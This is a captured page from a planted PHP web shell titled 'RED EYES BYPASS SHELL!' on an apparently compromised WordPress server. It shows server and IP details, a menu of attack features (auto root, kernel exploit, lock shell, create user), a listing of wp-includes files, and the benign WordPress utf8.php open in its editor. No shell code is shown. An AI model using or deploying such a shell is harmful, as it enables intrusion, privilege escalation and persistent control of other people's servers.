Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
bigdata /
wp-includes /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
abilities-api
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
abilities-api.php
23.8
KB
-rwxr-xr-x
abilities.php
7.8
KB
-rwxr-xr-x
admin-bar.php
36.1
KB
-rwxr-xr-x
atomlib.php
11.9
KB
-rwxr-xr-x
author-template.php
18.94
KB
-rwxr-xr-x
block-bindings.php
7.35
KB
-rwxr-xr-x
block-editor.php
28.6
KB
-rwxr-xr-x
block-i18n.json
316
B
-rwxr-xr-x
block-patterns.php
12.9
KB
-rwxr-xr-x
block-template-utils.php
61.02
KB
-rwxr-xr-x
block-template.php
15
KB
-rwxr-xr-x
blocks.php
112.05
KB
-rwxr-xr-x
bookmark-template.php
12.47
KB
-rwxr-xr-x
bookmark.php
15.07
KB
-rwxr-xr-x
cache-compat.php
9.84
KB
-rwxr-xr-x
cache.php
13.17
KB
-rwxr-xr-x
canonical.php
33.83
KB
-rwxr-xr-x
capabilities.php
42.63
KB
-rwxr-xr-x
category-template.php
55.71
KB
-rwxr-xr-x
category.php
12.53
KB
-rwxr-xr-x
class-IXR.php
2.55
KB
-rwxr-xr-x
class-avif-info.php
28.92
KB
-rwxr-xr-x
class-feed.php
539
B
-rwxr-xr-x
class-http.php
367
B
-rwxr-xr-x
class-json.php
42.65
KB
-rwxr-xr-x
class-oembed.php
401
B
-rwxr-xr-x
class-phpass.php
6.61
KB
-rwxr-xr-x
class-phpmailer.php
664
B
-rwxr-xr-x
class-pop3.php
20.63
KB
-rwxr-xr-x
class-requests.php
2.18
KB
-rwxr-xr-x
class-simplepie.php
453
B
-rwxr-xr-x
class-smtp.php
457
B
-rwxr-xr-x
class-snoopy.php
36.83
KB
-rwxr-xr-x
class-walker-category-dropdown.php
2.41
KB
-rwxr-xr-x
class-walker-category.php
8.28
KB
-rwxr-xr-x
class-walker-comment.php
13.89
KB
-rwxr-xr-x
class-walker-nav-menu.php
11.76
KB
-rwxr-xr-x
class-walker-page-dropdown.php
2.65
KB
-rwxr-xr-x
class-walker-page.php
7.43
KB
-rwxr-xr-x
class-wp-admin-bar.php
17.46
KB
-rwxr-xr-x
class-wp-ajax-response.php
5.14
KB
-rwxr-xr-x
class-wp-application-passwords.php
16.7
KB
-rwxr-xr-x
class-wp-block-bindings-registry.php
8.28
KB
-rwxr-xr-x
class-wp-block-bindings-source.php
2.92
KB
-rwxr-xr-x
class-wp-block-editor-context.php
1.32
KB
-rwxr-xr-x
class-wp-block-list.php
4.6
KB
-rwxr-xr-x
class-wp-block-metadata-registry.php
11.62
KB
-rwxr-xr-x
class-wp-block-parser-block.php
2.5
KB
-rwxr-xr-x
class-wp-block-parser-frame.php
1.97
KB
-rwxr-xr-x
class-wp-block-parser.php
11.25
KB
-rwxr-xr-x
class-wp-block-pattern-categories-registry.php
5.32
KB
-rwxr-xr-x
class-wp-block-patterns-registry.php
10.6
KB
-rwxr-xr-x
class-wp-block-processor.php
67.84
KB
-rwxr-xr-x
class-wp-block-styles-registry.php
6.34
KB
-rwxr-xr-x
class-wp-block-supports.php
5.49
KB
-rwxr-xr-x
class-wp-block-template.php
1.99
KB
-rwxr-xr-x
class-wp-block-templates-registry.php
7.02
KB
-rwxr-xr-x
class-wp-block-type-registry.php
4.91
KB
-rwxr-xr-x
class-wp-block-type.php
16.86
KB
-rwxr-xr-x
class-wp-block.php
24.23
KB
-rwxr-xr-x
class-wp-classic-to-block-menu-converter.php
3.97
KB
-rwxr-xr-x
class-wp-comment-query.php
47.66
KB
-rwxr-xr-x
class-wp-comment.php
9.22
KB
-rwxr-xr-x
class-wp-customize-control.php
25.51
KB
-rwxr-xr-x
class-wp-customize-manager.php
198.38
KB
-rwxr-xr-x
class-wp-customize-nav-menus.php
56.65
KB
-rwxr-xr-x
class-wp-customize-panel.php
10.46
KB
-rwxr-xr-x
class-wp-customize-section.php
10.95
KB
-rwxr-xr-x
class-wp-customize-setting.php
29.26
KB
-rwxr-xr-x
class-wp-customize-widgets.php
70.91
KB
-rwxr-xr-x
class-wp-date-query.php
35.3
KB
-rwxr-xr-x
class-wp-dependencies.php
15.02
KB
-rwxr-xr-x
class-wp-dependency.php
2.57
KB
-rwxr-xr-x
class-wp-duotone.php
39.83
KB
-rwxr-xr-x
class-wp-editor.php
70.64
KB
-rwxr-xr-x
class-wp-embed.php
15.56
KB
-rwxr-xr-x
class-wp-error.php
7.33
KB
-rwxr-xr-x
class-wp-exception.php
253
B
-rwxr-xr-x
class-wp-fatal-error-handler.php
7.96
KB
-rwxr-xr-x
class-wp-feed-cache-transient.php
3.23
KB
-rwxr-xr-x
class-wp-feed-cache.php
969
B
-rwxr-xr-x
class-wp-hook.php
16.28
KB
-rwxr-xr-x
class-wp-http-cookie.php
7.22
KB
-rwxr-xr-x
class-wp-http-curl.php
12.95
KB
-rwxr-xr-x
class-wp-http-encoding.php
6.53
KB
-rwxr-xr-x
class-wp-http-ixr-client.php
3.42
KB
-rwxr-xr-x
class-wp-http-proxy.php
5.84
KB
-rwxr-xr-x
class-wp-http-requests-hooks.php
1.97
KB
-rwxr-xr-x
class-wp-http-requests-response.php
4.3
KB
-rwxr-xr-x
class-wp-http-response.php
2.91
KB
-rwxr-xr-x
class-wp-http-streams.php
16.46
KB
-rwxr-xr-x
class-wp-http.php
40.6
KB
-rwxr-xr-x
class-wp-image-editor-gd.php
20.22
KB
-rwxr-xr-x
class-wp-image-editor-imagick.php
36.11
KB
-rwxr-xr-x
class-wp-image-editor.php
17.01
KB
-rwxr-xr-x
class-wp-list-util.php
7.27
KB
-rwxr-xr-x
class-wp-locale-switcher.php
6.62
KB
-rwxr-xr-x
class-wp-locale.php
16.49
KB
-rwxr-xr-x
class-wp-matchesmapregex.php
1.79
KB
-rwxr-xr-x
class-wp-meta-query.php
29.82
KB
-rwxr-xr-x
class-wp-metadata-lazyloader.php
6.67
KB
-rwxr-xr-x
class-wp-navigation-fallback.php
8.98
KB
-rwxr-xr-x
class-wp-network-query.php
19.42
KB
-rwxr-xr-x
class-wp-network.php
12.01
KB
-rwxr-xr-x
class-wp-object-cache.php
17.11
KB
-rwxr-xr-x
class-wp-oembed-controller.php
6.74
KB
-rwxr-xr-x
class-wp-oembed.php
30.93
KB
-rwxr-xr-x
class-wp-paused-extensions-storage.php
4.99
KB
-rwxr-xr-x
class-wp-phpmailer.php
4.25
KB
-rwxr-xr-x
class-wp-plugin-dependencies.php
24.72
KB
-rwxr-xr-x
class-wp-post-type.php
29.96
KB
-rwxr-xr-x
class-wp-post.php
6.34
KB
-rwxr-xr-x
class-wp-query.php
159.91
KB
-rwxr-xr-x
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rwxr-xr-x
class-wp-recovery-mode-email-service.php
10.92
KB
-rwxr-xr-x
class-wp-recovery-mode-key-service.php
4.77
KB
-rwxr-xr-x
class-wp-recovery-mode-link-service.php
3.38
KB
-rwxr-xr-x
class-wp-recovery-mode.php
11.18
KB
-rwxr-xr-x
class-wp-rewrite.php
62.19
KB
-rwxr-xr-x
class-wp-role.php
2.46
KB
-rwxr-xr-x
class-wp-roles.php
9.17
KB
-rwxr-xr-x
class-wp-script-modules.php
31.13
KB
-rwxr-xr-x
class-wp-scripts.php
33.38
KB
-rwxr-xr-x
class-wp-session-tokens.php
7.15
KB
-rwxr-xr-x
class-wp-simplepie-file.php
3.47
KB
-rwxr-xr-x
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rwxr-xr-x
class-wp-site-query.php
30.91
KB
-rwxr-xr-x
class-wp-site.php
7.29
KB
-rwxr-xr-x
class-wp-speculation-rules.php
7.35
KB
-rwxr-xr-x
class-wp-styles.php
11.86
KB
-rwxr-xr-x
class-wp-tax-query.php
19.12
KB
-rwxr-xr-x
class-wp-taxonomy.php
18.12
KB
-rwxr-xr-x
class-wp-term-query.php
39.99
KB
-rwxr-xr-x
class-wp-term.php
5.17
KB
-rwxr-xr-x
class-wp-text-diff-renderer-inline.php
979
B
-rwxr-xr-x
class-wp-text-diff-renderer-table.php
18.44
KB
-rwxr-xr-x
class-wp-textdomain-registry.php
10.24
KB
-rwxr-xr-x
class-wp-theme-json-data.php
1.77
KB
-rwxr-xr-x
class-wp-theme-json-resolver.php
34.9
KB
-rwxr-xr-x
class-wp-theme-json-schema.php
7.19
KB
-rwxr-xr-x
class-wp-theme-json.php
160.5
KB
-rwxr-xr-x
class-wp-theme.php
64.27
KB
-rwxr-xr-x
class-wp-token-map.php
27.95
KB
-rwxr-xr-x
class-wp-url-pattern-prefixer.php
4.69
KB
-rwxr-xr-x
class-wp-user-meta-session-tokens.php
2.94
KB
-rwxr-xr-x
class-wp-user-query.php
43.13
KB
-rwxr-xr-x
class-wp-user-request.php
2.25
KB
-rwxr-xr-x
class-wp-user.php
22.5
KB
-rwxr-xr-x
class-wp-walker.php
13.01
KB
-rwxr-xr-x
class-wp-widget-factory.php
3.27
KB
-rwxr-xr-x
class-wp-widget.php
18
KB
-rwxr-xr-x
class-wp-xmlrpc-server.php
210.4
KB
-rwxr-xr-x
class-wp.php
25.86
KB
-rwxr-xr-x
class-wpdb.php
115.85
KB
-rwxr-xr-x
class.wp-dependencies.php
373
B
-rwxr-xr-x
class.wp-scripts.php
343
B
-rwxr-xr-x
class.wp-styles.php
338
B
-rwxr-xr-x
comment-template.php
100.73
KB
-rwxr-xr-x
comment.php
130.93
KB
-rwxr-xr-x
compat-utf8.php
19.1
KB
-rwxr-xr-x
compat.php
17.41
KB
-rwxr-xr-x
cron.php
41.98
KB
-rwxr-xr-x
date.php
400
B
-rwxr-xr-x
default-constants.php
11.1
KB
-rwxr-xr-x
default-filters.php
37.02
KB
-rwxr-xr-x
default-widgets.php
2.24
KB
-rwxr-xr-x
deprecated.php
188.13
KB
-rwxr-xr-x
embed-template.php
338
B
-rwxr-xr-x
embed.php
38
KB
-rwxr-xr-x
error-protection.php
4.02
KB
-rwxr-xr-x
feed-atom-comments.php
5.38
KB
-rwxr-xr-x
feed-atom.php
3.05
KB
-rwxr-xr-x
feed-rdf.php
2.61
KB
-rwxr-xr-x
feed-rss.php
1.16
KB
-rwxr-xr-x
feed-rss2-comments.php
4.04
KB
-rwxr-xr-x
feed-rss2.php
3.71
KB
-rwxr-xr-x
feed.php
23.03
KB
-rwxr-xr-x
fonts.php
9.56
KB
-rwxr-xr-x
formatting.php
346.43
KB
-rwxr-xr-x
functions.php
281.84
KB
-rwxr-xr-x
functions.wp-scripts.php
14.95
KB
-rwxr-xr-x
functions.wp-styles.php
8.44
KB
-rwxr-xr-x
general-template.php
168.95
KB
-rwxr-xr-x
global-styles-and-settings.php
20.71
KB
-rwxr-xr-x
http.php
25.27
KB
-rwxr-xr-x
https-detection.php
5.72
KB
-rwxr-xr-x
https-migration.php
4.63
KB
-rwxr-xr-x
kses.php
81.72
KB
-rwxr-xr-x
l10n.php
67.18
KB
-rwxr-xr-x
link-template.php
156.36
KB
-rwxr-xr-x
load.php
55.19
KB
-rwxr-xr-x
locale.php
162
B
-rwxr-xr-x
media-template.php
61.72
KB
-rwxr-xr-x
media.php
216
KB
-rwxr-xr-x
meta.php
65
KB
-rwxr-xr-x
ms-blogs.php
25.24
KB
-rwxr-xr-x
ms-default-constants.php
4.81
KB
-rwxr-xr-x
ms-default-filters.php
6.48
KB
-rwxr-xr-x
ms-deprecated.php
21.25
KB
-rwxr-xr-x
ms-files.php
2.79
KB
-rwxr-xr-x
ms-functions.php
89.69
KB
-rwxr-xr-x
ms-load.php
19.42
KB
-rwxr-xr-x
ms-network.php
3.69
KB
-rwxr-xr-x
ms-settings.php
4.11
KB
-rwxr-xr-x
ms-site.php
40.74
KB
-rwxr-xr-x
nav-menu-template.php
25.38
KB
-rwxr-xr-x
nav-menu.php
43.33
KB
-rwxr-xr-x
option.php
102.57
KB
-rwxr-xr-x
pluggable-deprecated.php
6.18
KB
-rwxr-xr-x
pluggable.php
124.45
KB
-rwxr-xr-x
plugin.php
35.65
KB
-rwxr-xr-x
post-formats.php
6.94
KB
-rwxr-xr-x
post-template.php
67.04
KB
-rwxr-xr-x
post-thumbnail-template.php
10.62
KB
-rwxr-xr-x
post.php
289.13
KB
-rwxr-xr-x
query.php
36.23
KB
-rwxr-xr-x
registration-functions.php
200
B
-rwxr-xr-x
registration.php
200
B
-rwxr-xr-x
rest-api.php
98.29
KB
-rwxr-xr-x
revision.php
30.02
KB
-rwxr-xr-x
rewrite.php
19.03
KB
-rwxr-xr-x
robots-template.php
5.06
KB
-rwxr-xr-x
rss-functions.php
255
B
-rwxr-xr-x
rss.php
22.66
KB
-rwxr-xr-x
script-loader.php
150.38
KB
-rwxr-xr-x
script-modules.php
9.68
KB
-rwxr-xr-x
session.php
258
B
-rwxr-xr-x
shortcodes.php
23.49
KB
-rwxr-xr-x
sitemaps.php
3.16
KB
-rwxr-xr-x
speculative-loading.php
8.4
KB
-rwxr-xr-x
spl-autoload-compat.php
441
B
-rwxr-xr-x
style-engine.php
7.39
KB
-rwxr-xr-x
taxonomy.php
172.91
KB
-rwxr-xr-x
template-canvas.php
544
B
-rwxr-xr-x
template-loader.php
3.84
KB
-rwxr-xr-x
template.php
35.97
KB
-rwxr-xr-x
theme-i18n.json
1.49
KB
-rwxr-xr-x
theme-previews.php
2.84
KB
-rwxr-xr-x
theme-templates.php
6.09
KB
-rwxr-xr-x
theme.json
8.71
KB
-rwxr-xr-x
theme.php
131.84
KB
-rwxr-xr-x
update.php
37.45
KB
-rwxr-xr-x
user.php
173.89
KB
-rwxr-xr-x
utf8.php
7.09
KB
-rwxr-xr-x
vars.php
6.41
KB
-rwxr-xr-x
version.php
1.08
KB
-rwxr-xr-x
widgets.php
69.46
KB
-rwxr-xr-x
wp-db.php
445
B
-rwxr-xr-x
wp-diff.php
799
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utf8.php
<?php if ( extension_loaded( 'mbstring' ) ) : /** * Determines if a given byte string represents a valid UTF-8 encoding. * * Note that it’s unlikely for non-UTF-8 data to validate as UTF-8, but * it is still possible. Many texts are simultaneously valid UTF-8, * valid US-ASCII, and valid ISO-8859-1 (`latin1`). * * Example: * * true === wp_is_valid_utf8( '' ); * true === wp_is_valid_utf8( 'just a test' ); * true === wp_is_valid_utf8( "\xE2\x9C\x8F" ); // Pencil, U+270F. * true === wp_is_valid_utf8( "\u{270F}" ); // Pencil, U+270F. * true === wp_is_valid_utf8( '✏' ); // Pencil, U+270F. * * false === wp_is_valid_utf8( "just \xC0 test" ); // Invalid bytes. * false === wp_is_valid_utf8( "\xE2\x9C" ); // Invalid/incomplete sequences. * false === wp_is_valid_utf8( "\xC1\xBF" ); // Overlong sequences. * false === wp_is_valid_utf8( "\xED\xB0\x80" ); // Surrogate halves. * false === wp_is_valid_utf8( "B\xFCch" ); // ISO-8859-1 high-bytes. * // E.g. The “ü” in ISO-8859-1 is a single byte 0xFC, * // but in UTF-8 is the two-byte sequence 0xC3 0xBC. * * A “valid” string consists of “well-formed UTF-8 code unit sequence[s],” meaning * that the bytes conform to the UTF-8 encoding scheme, all characters use the minimal * byte sequence required by UTF-8, and that no sequence encodes a UTF-16 surrogate * code point or any character above the representable range. * * @see https://www.unicode.org/versions/Unicode16.0.0/core-spec/chapter-3/#G32860 * * @since 6.9.0 * * @param string $bytes String which might contain text encoded as UTF-8. * @return bool Whether the provided bytes can decode as valid UTF-8. */ function wp_is_valid_utf8( string $bytes ): bool { return mb_check_encoding( $bytes, 'UTF-8' ); } else : /** * Fallback function for validating UTF-8. * * @ignore * @private * * @since 6.9.0 */ function wp_is_valid_utf8( string $string ): bool { return _wp_is_valid_utf8_fallback( $string ); } endif; if ( extension_loaded( 'mbstring' ) && // Maximal subpart substitution introduced by php/php-src@04e59c916f12b322ac55f22314e31bd0176d01cb. version_compare( PHP_VERSION, '8.1.6', '>=' ) ) : /** * Replaces ill-formed UTF-8 byte sequences with the Unicode Replacement Character. * * Knowing what to do in the presence of text encoding issues can be complicated. * This function replaces invalid spans of bytes to neutralize any corruption that * may be there and prevent it from causing further problems downstream. * * However, it’s not always ideal to replace those bytes. In some settings it may * be best to leave the invalid bytes in the string so that downstream code can handle * them in a specific way. Replacing the bytes too early, like escaping for HTML too * early, can introduce other forms of corruption and data loss. * * When in doubt, use this function to replace spans of invalid bytes. * * Replacement follows the “maximal subpart” algorithm for secure and interoperable * strings. This can lead to sequences of multiple replacement characters in a row. * * Example: * * // Valid strings come through unchanged. * 'test' === wp_scrub_utf8( 'test' ); * * // Invalid sequences of bytes are replaced. * $invalid = "the byte \xC0 is never allowed in a UTF-8 string."; * "the byte \u{FFFD} is never allowed in a UTF-8 string." === wp_scrub_utf8( $invalid, true ); * 'the byte � is never allowed in a UTF-8 string.' === wp_scrub_utf8( $invalid, true ); * * // Maximal subparts are replaced individually. * '.�.' === wp_scrub_utf8( ".\xC0." ); // C0 is never valid. * '.�.' === wp_scrub_utf8( ".\xE2\x8C." ); // Missing A3 at end. * '.��.' === wp_scrub_utf8( ".\xE2\x8C\xE2\x8C." ); // Maximal subparts replaced separately. * '.��.' === wp_scrub_utf8( ".\xC1\xBF." ); // Overlong sequence. * '.���.' === wp_scrub_utf8( ".\xED\xA0\x80." ); // Surrogate half. * * Note! The Unicode Replacement Character is itself a Unicode character (U+FFFD). * Once a span of invalid bytes has been replaced by one, it will not be possible * to know whether the replacement character was originally intended to be there * or if it is the result of scrubbing bytes. It is ideal to leave replacement for * display only, but some contexts (e.g. generating XML or passing data into a * large language model) require valid input strings. * * @since 6.9.0 * * @see https://www.unicode.org/versions/Unicode16.0.0/core-spec/chapter-5/#G40630 * * @param string $text String which is assumed to be UTF-8 but may contain invalid sequences of bytes. * @return string Input text with invalid sequences of bytes replaced with the Unicode replacement character. */ function wp_scrub_utf8( $text ) { /* * While it looks like setting the substitute character could fail, * the internal PHP code will never fail when provided a valid * code point as a number. In this case, there’s no need to check * its return value to see if it succeeded. */ $prev_replacement_character = mb_substitute_character(); mb_substitute_character( 0xFFFD ); $scrubbed = mb_scrub( $text, 'UTF-8' ); mb_substitute_character( $prev_replacement_character ); return $scrubbed; } else : /** * Fallback function for scrubbing UTF-8. * * @ignore * @private * * @since 6.9.0 */ function wp_scrub_utf8( $text ) { return _wp_scrub_utf8_fallback( $text ); } endif; if ( _wp_can_use_pcre_u() ) : /** * Returns whether the given string contains Unicode noncharacters. * * XML recommends against using noncharacters and HTML forbids their * use in attribute names. Unicode recommends that they not be used * in open exchange of data. * * Noncharacters are code points within the following ranges: * - U+FDD0–U+FDEF * - U+FFFE–U+FFFF * - U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF, …, U+10FFFE, U+10FFFF * * @see https://www.unicode.org/versions/Unicode17.0.0/core-spec/chapter-23/#G12612 * @see https://www.w3.org/TR/xml/#charsets * @see https://html.spec.whatwg.org/#attributes-2 * * @since 6.9.0 * * @param string $text Are there noncharacters in this string? * @return bool Whether noncharacters were found in the string. */ function wp_has_noncharacters( string $text ): bool { return 1 === preg_match( '/[\x{FDD0}-\x{FDEF}\x{FFFE}\x{FFFF}\x{1FFFE}\x{1FFFF}\x{2FFFE}\x{2FFFF}\x{3FFFE}\x{3FFFF}\x{4FFFE}\x{4FFFF}\x{5FFFE}\x{5FFFF}\x{6FFFE}\x{6FFFF}\x{7FFFE}\x{7FFFF}\x{8FFFE}\x{8FFFF}\x{9FFFE}\x{9FFFF}\x{AFFFE}\x{AFFFF}\x{BFFFE}\x{BFFFF}\x{CFFFE}\x{CFFFF}\x{DFFFE}\x{DFFFF}\x{EFFFE}\x{EFFFF}\x{FFFFE}\x{FFFFF}\x{10FFFE}\x{10FFFF}]/u', $text ); } else : /** * Fallback function for detecting noncharacters in a text. * * @ignore * @private * * @since 6.9.0 */ function wp_has_noncharacters( string $text ): bool { return _wp_has_noncharacters_fallback( $text ); } endif;
Close